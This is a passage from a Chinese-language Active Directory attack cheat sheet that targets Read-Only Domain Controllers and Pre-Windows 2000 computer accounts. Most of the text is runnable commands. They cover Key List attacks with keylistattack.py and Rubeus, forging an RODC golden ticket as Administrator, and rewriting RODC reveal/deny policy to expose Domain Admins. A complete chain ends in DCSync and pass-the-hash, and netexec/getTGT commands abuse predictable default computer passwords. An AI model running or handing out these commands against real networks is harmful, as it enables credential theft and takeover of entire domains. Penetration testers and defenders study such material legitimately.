Get-ADDomainController -Identity $RODC_NAME | Get-ADRodcAuthenticatedNotRevealed
Get-ADDomainController -Identity $RODC_NAME | Get-ADRodcRevealed# Linux — bloodyAD
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP get object "$RODC_DN" \
--attr msDS-RevealOnDemandGroup msDS-NeverRevealGroup---
Key List 攻击
原理
RODC 使用 Key List Request 向可写 DC 请求账户密钥用于本地缓存。如果攻击者获取了 RODC 的 krbtgt 密钥,可以伪造 Key List Request 提取账户的 NT hash。
keylistattack.py (Impacket)
# 完整模式 — 忽略 Denied List,提取所有可用密钥
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" \
-full "$DOMAIN/$USER:$PASS"@"$RODC_FQDN"
# 正常模式 — 遵循 PRP 策略 (仅提取 Allowed List 中的)
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" \
"$DOMAIN/$USER:$PASS"@"$RODC_FQDN"
# 指定用户模式
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" \
-t "$TARGET_USER" "$DOMAIN/$USER:$PASS"@"$RODC_FQDN"
# 输出到文件
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" \
-full "$DOMAIN/$USER:$PASS"@"$RODC_FQDN" -o keylist_hashes.txtWindows — Rubeus 两步法
# Step 1: 伪造 RODC TGT
Rubeus.exe golden /rodcNumber:$KRBTGT_NUM /flags:forwardable,renewable,enc_pa_rep \
/nowrap /outfile:rodc_tgt.kirbi \
/aes256:$KRBTGT_AES /user:$USER /id:$USER_RID \
/domain:$DOMAIN /sid:$DOMAIN_SID
# Step 2: 使用 TGT 发起 Key List Request
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:rodc_tgt.kirbi \
/service:krbtgt/$DOMAIN
# 针对特定用户
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:rodc_tgt.kirbi \
/service:krbtgt/$DOMAIN /user:$TARGET_USER关键说明
-full模式会尝试提取 Denied List 中的账户,但可写 DC 可能拒绝- 不带
-full时遵循 PRP 策略,成功率更高但范围有限 - 提取的 hash 可直接用于 Pass-the-Hash 或 DCSync
---
RODC Golden Ticket
伪造 RODC Golden Ticket
# Rubeus — 伪造 RODC Golden Ticket
Rubeus.exe golden /rodcNumber:$KRBTGT_NUM \
/flags:forwardable,renewable,enc_pa_rep \
/nowrap /outfile:ticket.kirbi \
/aes256:$KRBTGT_AES \
/user:Administrator /id:500 \
/domain:$DOMAIN /sid:$DOMAIN_SID# Impacket ticketer
ticketer.py -nthash "$KRBTGT_NT" -aesKey "$KRBTGT_AES" \
-domain-sid "$DOMAIN_SID" -domain "$DOMAIN" \
-user-id 500 Administratorkvno 字段要求
- RODC Golden Ticket 的 kvno 必须包含 RODC 编号信息
- 格式: kvno 高位包含 RODC number
- Rubeus
/rodcNumber参数自动处理此字段
票据验证流程
1. RODC Golden Ticket 提交到可写 DC 2. 可写 DC 发现票据由 RODC krbtgt 签发 3. 可写 DC 用自己的 krbtgt 密钥重新签名 PAC 4. 如果 PAC 中的用户在 Denied List 中,可写 DC 可能拒绝 5. 成功后返回正常 TGS,可用于访问服务
与普通 Golden Ticket 对比
| 特征 | 普通 Golden Ticket | RODC Golden Ticket |
|---|---|---|
| 所需密钥 | 主 krbtgt | RODC krbtgt_XXXXX |
| 获取难度 | 需要 DC admin | 需要 RODC admin |
| 受 PRP 限制 | 否 | 是 (Denied List) |
| 可写 DC 验证 | 直接接受 | 需重新签名 PAC |
---
RODC DACL 利用
攻击前提
拥有对 RODC 计算机对象的写权限:
- GenericWrite
- WriteDacl
- GenericAll
- 或 managedBy 指向可控账户
bloodyAD
# 添加 Domain Admins 到允许缓存列表
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP \
set object "$RODC_DN" msDS-RevealOnDemandGroup \
-v "CN=Domain Admins,CN=Users,DC=$DOMAIN_DN"
# 追加到允许列表 (不覆盖现有)
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP \
set object "$RODC_DN" msDS-RevealOnDemandGroup \
--append -v "CN=Target User,CN=Users,DC=$DOMAIN_DN"
# 清除拒绝列表 (移除 Denied List 中的所有条目)
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP \
set object "$RODC_DN" msDS-NeverRevealGrouppowerview.py
# 追加到允许列表
Set-DomainObject -Identity "$RODC_DN" \
-Append @{'msDS-RevealOnDemandGroup'='CN=Domain Admins,CN=Users,DC=$DOMAIN_DN'}
# 覆盖设置允许列表
Set-DomainObject -Identity "$RODC_DN" \
-Set @{'msDS-RevealOnDemandGroup'='CN=Domain Admins,CN=Users,DC=$DOMAIN_DN'}
# 清除拒绝列表
Set-DomainObject -Identity "$RODC_DN" -Clear 'msDS-NeverRevealGroup'完整攻击链
1. 修改 PRP (添加高权限账户到 Allowed List / 清除 Denied List)
↓
2. 导出 RODC 的 krbtgt_XXXXX 密钥
↓
3. 使用 RODC Golden Ticket
↓
4. Key List 攻击提取目标账户 NT hash
↓
5. Pass-the-Hash / DCSync# 实战命令链
# Step 1: 修改 PRP
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP \
set object "$RODC_DN" msDS-NeverRevealGroup
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP \
set object "$RODC_DN" msDS-RevealOnDemandGroup \
-v "CN=Domain Admins,CN=Users,DC=$DOMAIN_DN"
# Step 2: 导出 krbtgt (如果有 RODC 本地 admin)
secretsdump.py "$DOMAIN/$RODC_ADMIN:$PASS"@"$RODC_IP" -just-dc-user "krbtgt_$KRBTGT_NUM"
# Step 3-4: Key List 攻击
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" \
-t "Administrator" "$DOMAIN/$USER:$PASS"@"$RODC_FQDN"
# Step 5: DCSync / PTH
secretsdump.py -hashes :"$ADMIN_NT" "$DOMAIN/Administrator"@"$DC_IP"---
Pre-Windows 2000 计算机账户
概念
Pre-Windows 2000 兼容模式创建的计算机账户使用可预测的默认密码: 小写的计算机名去掉 $ 后缀。如果该账户从未更新过密码 (logonCount=0),则仍使用此默认密码。
识别目标
# LDAP 筛选 — UAC=4128 (WORKSTATION_TRUST_ACCOUNT + PASSWD_NOTREQD) + logonCount=0
ldapsearch -H ldap://$DC_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
-b "DC=$DOMAIN_DN" \
"(&(userAccountControl=4128)(logonCount=0))" \
sAMAccountName userAccountControl logonCount
# 提取计算机名并生成密码列表
# sAMAccountName: OLDPC01$ → password: oldpc01# PowerShell
Get-ADComputer -Filter { userAccountControl -band 4128 } -Properties logonCount |
Where-Object { $_.logonCount -eq 0 } |
Select-Object Name, sAMAccountName, logonCount验证凭据
# 批量验证 — netexec
# computers.txt: 每行一个 sAMAccountName (带$)
# passwords.txt: 每行对应的小写名称 (不带$)
nxc smb $DC_IP -u computers.txt -p passwords.txt --no-bruteforce
# 单个验证
nxc smb $DC_IP -u 'OLDPC01$' -p 'oldpc01'利用
# Kerberos 认证
getTGT.py "$DOMAIN/OLDPC01\$:oldpc01"
# 如果计算机账户在 RODC Allowed List 中
# 可结合 RODC 攻击链进一步利用
# 密码哈希获取
nxc smb $DC_IP -u 'OLDPC01$' -p 'oldpc01' --sam与 RODC 攻击的结合
Pre-Windows 2000 计算机账户的可预测密码使 Timeroasting 更有效:
1. Timeroasting 获取计算机账户 SNTP hash
↓
2. 尝试 Pre-Windows 2000 默认密码破解
↓
3. 成功后检查该账户是否在 RODC Allowed List
↓
4. 如果在 Allowed List,结合 Key List 攻击扩大影响UAC 值说明
| UAC 值 | 含义 |
|---|---|
| 4096 | WORKSTATION_TRUST_ACCOUNT |
| 32 | PASSWD_NOTREQD |
| 4128 | 4096 + 32 (Pre-Windows 2000 典型值) |